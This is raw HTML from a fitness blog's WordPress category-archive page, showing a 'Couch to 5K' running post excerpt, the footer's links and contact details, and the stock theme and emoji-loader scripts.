		<div class="ast-blog-featured-section post-thumb ast-blog-single-element"><div class="post-thumb-img-content post-thumb"><a href="https://gymdailyfitness.com/2025/09/13/from-couch-to-5k-how-to-start-running-safely/" aria-label="Read: From Couch to 5K How to Start Running Safely" ><img width="1024" height="576" src="https://gymdailyfitness.com/wp-content/uploads/2025/09/Untitled-design-1024x576.png" class="attachment-large size-large wp-post-image" alt="" itemprop="image" decoding="async" fetchpriority="high" srcset="https://gymdailyfitness.com/wp-content/uploads/2025/09/Untitled-design-1024x576.png 1024w, https://gymdailyfitness.com/wp-content/uploads/2025/09/Untitled-design-300x169.png 300w, https://gymdailyfitness.com/wp-content/uploads/2025/09/Untitled-design-768x432.png 768w, https://gymdailyfitness.com/wp-content/uploads/2025/09/Untitled-design.png 1280w" sizes="(max-width: 1024px) 100vw, 1024px" /></a></div></div><span class="ast-blog-single-element ast-taxonomy-container cat-links default"><a href="https://gymdailyfitness.com/category/challenges-personal-development/" rel="category tag">Challenges &amp; Personal Development</a>, <a href="https://gymdailyfitness.com/category/uncategorized/" rel="category tag">Uncategorized</a></span><h2 class="entry-title ast-blog-single-element" itemprop="headline"><a href="https://gymdailyfitness.com/2025/09/13/from-couch-to-5k-how-to-start-running-safely/" rel="bookmark">From Couch to 5K How to Start Running Safely</a></h2>		<header class="entry-header ast-blog-single-element ast-blog-meta-container">
			<div class="entry-meta"><span class="posted-by vcard author" itemtype="https://schema.org/Person" itemscope="itemscope" itemprop="author">			<a title="View all posts by admin"
				href="https://gymdailyfitness.com/author/admin/" rel="author"
				class="url fn n" itemprop="url"				>
				<span
				class="author-name" itemprop="name"				>
				admin			</span>
			</a>
		</span>

		 / <span class="posted-on"><span class="published" itemprop="datePublished"> September 13, 2025 </span></span></div>		</header><!-- .entry-header -->
					<div class="ast-excerpt-container ast-blog-single-element">
				<p>From Couch to 5K: How to Start Running Safely Running a 5K (5 kilometers or 3.1 miles) is a popular [&hellip;]</p>
			</div>
				<div class="entry-content clear"
		itemprop="text"		>
					</div><!-- .entry-content .clear -->
	</div><!-- .post-content -->
</div> <!-- .blog-layout-4 -->
	</article><!-- #post-## -->
</div>			</main><!-- #main -->
			
		<div class='ast-pagination'><nav class="navigation pagination" aria-label="Post pagination">
				<div class="nav-links"><a class="prev page-numbers" href="https://gymdailyfitness.com/category/uncategorized/page/2/"><span class="ast-left-arrow" aria-hidden="true">&larr;</span> Previous</a>
<a class="page-numbers" href="https://gymdailyfitness.com/category/uncategorized/">1</a>
<a class="page-numbers" href="https://gymdailyfitness.com/category/uncategorized/page/2/">2</a>
<span aria-current="page" class="page-numbers current">3</span></div>
		</nav></div>
		
	</div><!-- #primary -->


	</div> <!-- ast-container -->
	</div><!-- #content -->
<footer
class="site-footer" id="colophon" itemtype="https://schema.org/WPFooter" itemscope="itemscope" itemid="#colophon">
			<div class="site-above-footer-wrap ast-builder-grid-row-container site-footer-focus-item ast-builder-grid-row-4-equal ast-builder-grid-row-tablet-4-equal ast-builder-grid-row-mobile-full ast-footer-row-stack ast-footer-row-tablet-stack ast-footer-row-mobile-stack" data-section="section-above-footer-builder">
	<div class="ast-builder-grid-row-container-inner">
					<div class="ast-builder-footer-grid-columns site-above-footer-inner-wrap ast-builder-grid-row">
											<div class="site-footer-above-section-1 site-footer-section site-footer-section-1">
							<aside
		class="footer-widget-area widget-area site-footer-focus-item footer-widget-area-inner" data-section="sidebar-widgets-footer-widget-1" aria-label="Footer Widget 1" role="region"				>
			<section id="block-24" class="widget widget_block">
<h3 class="wp-block-heading">Branding</h3>
</section><section id="block-45" class="widget widget_block"><img loading="lazy" decoding="async" src="https://gymdailyfitness.com/wp-content/uploads/2025/10/Gym-Daily-Fitness-3-1.png" width="180" height="180"></section><section id="block-33" class="widget widget_block widget_text">
<p class="wp-block-paragraph">“GymDailyFitness is dedicated to transforming lives through expert fitness programs, personalized training, and a supportive community.”</p>
</section>		</aside>
						</div>
											<div class="site-footer-above-section-2 site-footer-section site-footer-section-2">
							<aside
		class="footer-widget-area widget-area site-footer-focus-item footer-widget-area-inner" data-section="sidebar-widgets-footer-widget-2" aria-label="Footer Widget 2" role="region"		>
			<section id="block-36" class="widget widget_block">
<h3 class="wp-block-heading">Quick Links</h3>
</section><section id="block-37" class="widget widget_block"><ul class="wp-block-page-list"><li class="wp-block-pages-list__item"><a class="wp-block-pages-list__item__link" href="https://gymdailyfitness.com/about-us/">About Us</a></li><li class="wp-block-pages-list__item"><a class="wp-block-pages-list__item__link" href="https://gymdailyfitness.com/contact-us/">Contact US</a></li><li class="wp-block-pages-list__item"><a class="wp-block-pages-list__item__link" href="https://gymdailyfitness.com/fitness-tips/">Fitness Tips</a></li><li class="wp-block-pages-list__item menu-item-home"><a class="wp-block-pages-list__item__link" href="https://gymdailyfitness.com/">Home</a></li></ul></section>		</aside>
						</div>
											<div class="site-footer-above-section-3 site-footer-section site-footer-section-3">
							<aside
		class="footer-widget-area widget-area site-footer-focus-item footer-widget-area-inner" data-section="sidebar-widgets-footer-widget-3" aria-label="Footer Widget 3" role="region"		>
			<section id="block-67" class="widget widget_block">
<h3 class="wp-block-heading">Categories</h3>
</section><section id="block-68" class="widget widget_block widget_categories"><ul class="wp-block-categories-list wp-block-categories-taxonomy-category wp-block-categories">	<li class="cat-item cat-item-4"><a href="https://gymdailyfitness.com/category/challenges-personal-development/">Challenges &amp; Personal Development</a>
</li>
	<li class="cat-item cat-item-7"><a href="https://gymdailyfitness.com/category/fitness-excercise/">Fitness &amp; Excercise</a>
</li>
	<li class="cat-item cat-item-8"><a href="https://gymdailyfitness.com/category/injury-prevention-recovery/">Injury Prevention &amp; Recovery</a>
</li>
	<li class="cat-item cat-item-9"><a href="https://gymdailyfitness.com/category/lifestyle-healthy-habits/">Lifestyle &amp; Healthy Habits</a>
</li>
	<li class="cat-item cat-item-10"><a href="https://gymdailyfitness.com/category/mental-wellness-motivation/">Mental Wellness &amp; Motivation</a>
</li>
	<li class="cat-item cat-item-11"><a href="https://gymdailyfitness.com/category/nutrition-diet/">Nutrition &amp; Diet</a>
</li>
	<li class="cat-item cat-item-12"><a href="https://gymdailyfitness.com/category/special-audiences-niche-topics/">Special Audiences &amp; Niche Topics</a>
</li>
	<li class="cat-item cat-item-13"><a href="https://gymdailyfitness.com/category/supplement-guides/">Supplement Guides</a>
</li>
	<li class="cat-item cat-item-14"><a href="https://gymdailyfitness.com/category/trends-innovations/">Trends &amp; Innovations</a>
</li>
	<li class="cat-item cat-item-1 current-cat"><a aria-current="page" href="https://gymdailyfitness.com/category/uncategorized/">Uncategorized</a>
</li>
	<li class="cat-item cat-item-15"><a href="https://gymdailyfitness.com/category/weight-loss-management/">Weight Loss &amp; Management</a>
</li>
</ul></section>		</aside>
						</div>
											<div class="site-footer-above-section-4 site-footer-section site-footer-section-4">
							<aside
		class="footer-widget-area widget-area site-footer-focus-item footer-widget-area-inner" data-section="sidebar-widgets-footer-widget-4" aria-label="Footer Widget 4" role="region"		>
			<section id="block-65" class="widget widget_block"><!-- FOOTER CONTACT WIDGET -->
<div class="footer-widget contact-widget">
  <h3 class="footer-title">Get in Touch</h3>
<br>

  <ul class="contact-list">
    <li><strong>📍 Address:</strong> 123 Fitness Avenue, New Delhi, India</li>
    <li><strong>📞 Phone:</strong> +91 98765 43210</li>
    <li><strong>✉️ Email:</strong> info@gymdailyfitness.com</li>
  </ul>

  <div class="social-links">
 <form action="mailto:info@gymdailyfitness.com" method="post" enctype="text/plain" class="contact-form">

    
    <input type="email" name="email" placeholder="Your Email" required />
<br>
<br>
    
    <button type="submit" class="footer-btn">Send Message</button>
  </form>
<br>

<div class="social-links">
    <a href="#" aria-label="Facebook"><i class="fab fa-facebook-f"></i></a>
    <a href="#" aria-label="Instagram"><i class="fab fa-instagram"></i></a>
    <a href="#" aria-label="YouTube"><i class="fab fa-youtube"></i></a>
    <a href="#" aria-label="Twitter"><i class="fab fa-twitter"></i></a>
  </div>
</div></section>		</aside>
						</div>
										</div>
			</div>

</div>
<div class="site-below-footer-wrap ast-builder-grid-row-container site-footer-focus-item ast-builder-grid-row-full ast-builder-grid-row-tablet-full ast-builder-grid-row-mobile-full ast-footer-row-stack ast-footer-row-tablet-stack ast-footer-row-mobile-stack" data-section="section-below-footer-builder">
	<div class="ast-builder-grid-row-container-inner">
					<div class="ast-builder-footer-grid-columns site-below-footer-inner-wrap ast-builder-grid-row">
											<div class="site-footer-below-section-1 site-footer-section site-footer-section-1">
							<div class="footer-widget-area widget-area site-footer-focus-item ast-footer-html-1" data-section="section-fb-html-1">
			<div class="ast-header-html inner-link-style-"><div class="ast-builder-html-element"><p>© 2025 GymDailyFitness. All Rights Reserved</p>
</div></div>		</div>
						</div>
										</div>
			</div>

</div>
	</footer><!-- #colophon -->
	</div><!-- #page -->
<script type="speculationrules">
{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/astra/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
</script>

<div id="ast-scroll-top" tabindex="0" class="ast-scroll-top-icon ast-scroll-to-top-right" data-on-devices="both">
	<span class="ast-icon icon-arrow"><svg class="ast-arrow-svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" x="0px" y="0px" width="26px" height="16.043px" viewbox="57 35.171 26 16.043" enable-background="new 57 35.171 26 16.043" xml:space="preserve">
                <path d="M57.5,38.193l12.5,12.5l12.5-12.5l-2.5-2.5l-10,10l-10-10L57.5,38.193z" />
                </svg></span>	<span class="screen-reader-text">Scroll to Top</span>
</div>
			<script>
			/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
			</script>
			<script id="astra-theme-js-js-extra">
var astra = {"break_point":"921","isRtl":"","is_scroll_to_id":"1","is_scroll_to_top":"1","is_header_footer_builder_active":"1","responsive_cart_click":"flyout","is_dark_palette":""};
//# sourceURL=astra-theme-js-js-extra
</script>
<script id="astra-theme-js-js" src="https://gymdailyfitness.com/wp-content/themes/astra/assets/js/minified/frontend.min.js?ver=4.11.14"></script>
<script id="wp-emoji-settings" type="application/json">
{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://gymdailyfitness.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1"}}
</script>
<script type="module">
/*! This file is auto-generated */
var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))});
//# sourceURL=https://gymdailyfitness.com/wp-includes/js/wp-emoji-loader.min.js
</script>
	</body>
</html>